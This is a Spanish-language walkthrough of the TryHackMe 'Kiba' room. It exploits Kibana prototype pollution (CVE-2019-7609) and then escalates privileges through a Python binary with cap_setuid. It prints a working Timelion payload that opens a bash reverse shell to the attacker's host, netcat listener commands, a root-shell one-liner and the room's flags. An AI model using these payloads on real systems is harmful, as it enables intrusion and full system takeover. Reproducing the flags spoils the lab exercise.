Vamos con un CTF de Tryhackme llamado Kiba. Lo primero que nos preguntan es:

¿Cuál es la vulnerabilidad específica de lenguajes de programación con herencia basada en prototipo?

Una búsqueda rápida en Google nos da la respuesta.

Prototype pollution

El lenguaje más común de este tipo es javascript. Aunque el fallo es bien conocido desde hace tiempo.

Se produce cuando hay un fallo en la aplicación que hace posible sobreescribir propiedades de Object.prototype. Como cada objeto típico hereda sus propiedades de Object.prototype, podemos cambiar la conducta de la aplicación.

El ejemplo que se suele mostrar es:

if (user.isAdmin) {
   // do something important!
}

Imaginemos que tenemos una polución de prototipo que hace posible configurar Object.prototype.isAdmin = true.

En ese caso, a menos que la aplicación asigne explícitamente un valor a eso, el usuario .isAdmin es siempre true.

Más información en este artículo, que precisamente desarrolla el CVE que vamos a ver en esta habitación, ya que trata precisamente de Kibana, la aplicación que tenemos aquí.

Comenzamos a escanear agresivamente la máquina:

rustscan -a IP_Objetivo -- -A

Están abiertos los puertos 22 (ssh), 80 (http), 5044 y 5601. Los examinamos, ya que Rustscan no está seguro de qué hay en los últimos puertos.

Con una inspección visual vemos que en el 5601 tenemos Kibana.

¿Cuál es la versión del tablero de mando de visualización instalado en el servidor? (Lo podemos ver analizando el código fuente de la aplicación).

6.5.4

¿Cuál es el número de CVE para esta vulnerabilidad?

El artículo citado antes ya la delataba. Haciendo una búsqueda rápida en Google de CVE Kibana nos lo muestra enseguida.

CVE-2019-7609

Hemos de comprometer la máquina y localizar user.txt.

Buscando, hay un exploit en Python en Github que al parecer nos permite explotar esta vulnerabilidad y obtener directamente una shell inversa. Veamos si podemos usar ese camino.

El uso es el siguiente.

# python2 CVE-2019-7609-kibana-rce.py -h

usage: CVE-2019-7609-kibana-rce.py [-h] [-u URL] [-host REMOTE_HOST]
                                   [-port REMOTE_PORT] [--shell]

optional arguments:
  -h, --help         show this help message and exit
  -u URL             such as: http://127.0.0.1:5601
  -host REMOTE_HOST  reverse shell remote host: such as: 1.1.1.1
  -port REMOTE_PORT  reverse shell remote port: such as: 8888
  --shell            reverse shell after verify

Siendo así, ponemos un escuchador en Netcat.

nc -lvnp 4444

Clonamos el script desde Github, entramos al directorio en el que hemos clonado y lanzamos el exploit:

python3 CVE-2019-7609-kibana-rce.py -u http://IP_Objetivo:5601 -host IP_Ataque -port 4444

Y nos arroja un error, pues vaya. Ocurre mucho con estos exploits.

Buscamos el CVE en todo Github y nos aparece esta página con diversos payloads que, según las instrucciones, debemos introducir en el apartado de «Timelion».

Probamos el primero, cambiando la configuración a nuestro escuchador Netcat.

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/IP_Ataque/4444 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

Ejecutamos dando al botón azul con el icono de «Play» y pinchamos en el menú izquierdo para ir a la sección «Canvas». En ese momento deberíamos tener shell en nuestro escuchador y así es.

Shell inversa

Nos pide el archivo user.txt, así que lo buscamos:

find / -type f -name "user.txt" 2>/dev/null

Está en /home/kiba/user.txt y lo leemos.

THM{1s_easy_pwn3d_k1bana_w1th_rce}

Bien, para la escalada de privilegios ya nos anuncia que el camino son las capabilities, la prestación de Linux que permite «dividir» los privilegios de administrador en diferentes valores.

¿Cómo se listan rescursivamente las capabilities? El comando para verlas es getcap y para ponerlas es setcap, así que:

getcap -r /

Cuando lo ejecutamos:

getcap -r / 2>/dev/null

Nos aparece una capability que es:

/home/kiba/.hackmeplease/python3 = cap_setuid+ep

Lo tenemos ahí a punto de caramelo, no tenemos ni que configurar más capabilities con setcap, así que, nos vamos hasta ese directorio e invocamos una consola de administrador vía Python.

Explicación a fondo de cómo abusar de esa capability de Python en este artículo.

cd /home/kiba/.hackmeplease/
.python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
id

Con el id vemos que somos root, así que leemos el root.txt en el directorio /root

cat /root/root.txt

THM{pr1v1lege_escalat1on_us1ng_capab1l1t1es}

Y con eso cerramos la máquina.